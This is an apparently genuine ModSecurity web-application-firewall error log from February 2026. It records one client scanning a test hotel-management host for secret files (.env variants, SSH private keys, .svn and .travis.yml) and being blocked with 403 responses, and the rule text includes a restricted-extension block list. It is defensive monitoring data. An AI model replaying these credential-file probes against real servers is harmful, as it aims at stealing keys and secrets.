[Thu Feb 26 01:02:50.489366 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.key&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZAAAAAY&quot;]
[Thu Feb 26 01:02:50.514927 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZQAAAAY&quot;]
[Thu Feb 26 01:02:50.515184 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZQAAAAY&quot;]
[Thu Feb 26 01:02:50.515349 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.mail&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZQAAAAY&quot;]
[Thu Feb 26 01:02:50.529016 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O8wAAAAU&quot;]
[Thu Feb 26 01:02:50.529260 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O8wAAAAU&quot;]
[Thu Feb 26 01:02:50.529408 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O8wAAAAU&quot;]
[Thu Feb 26 01:02:50.539921 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZgAAAAY&quot;]
[Thu Feb 26 01:02:50.540141 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZgAAAAY&quot;]
[Thu Feb 26 01:02:50.540288 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZgAAAAY&quot;]
[Thu Feb 26 01:02:50.565883 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZwAAAAY&quot;]
[Thu Feb 26 01:02:50.566201 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZwAAAAY&quot;]
[Thu Feb 26 01:02:50.566521 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZwAAAAY&quot;]
[Thu Feb 26 01:02:50.566710 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4ZwAAAAY&quot;]
[Thu Feb 26 01:02:50.586110 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9AAAAAU&quot;]
[Thu Feb 26 01:02:50.586419 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9AAAAAU&quot;]
[Thu Feb 26 01:02:50.586615 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9AAAAAU&quot;]
[Thu Feb 26 01:02:50.595439 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aAAAAAY&quot;]
[Thu Feb 26 01:02:50.595709 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aAAAAAY&quot;]
[Thu Feb 26 01:02:50.595873 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aAAAAAY&quot;]
[Thu Feb 26 01:02:50.609078 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9QAAAAU&quot;]
[Thu Feb 26 01:02:50.609310 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9QAAAAU&quot;]
[Thu Feb 26 01:02:50.609473 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9QAAAAU&quot;]
[Thu Feb 26 01:02:50.619435 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.uat&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aQAAAAY&quot;]
[Thu Feb 26 01:02:50.619661 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aQAAAAY&quot;]
[Thu Feb 26 01:02:50.619810 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.uat&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4aQAAAAY&quot;]
[Thu Feb 26 01:02:50.663988 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9gAAAAU&quot;]
[Thu Feb 26 01:02:50.664246 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9gAAAAU&quot;]
[Thu Feb 26 01:02:50.664437 2026] [:error] [pid 2330812] [client 185.177.72.22:23990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aZ-Nqik1SHHL9bIjTI-O9gAAAAU&quot;]
[Thu Feb 26 01:02:50.696360 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_aws&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4agAAAAY&quot;]
[Thu Feb 26 01:02:50.696759 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4agAAAAY&quot;]
[Thu Feb 26 01:02:50.697035 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_aws&quot;] [unique_id &quot;aZ-NqpqP6Uim1aZiP_g4agAAAAY&quot;]
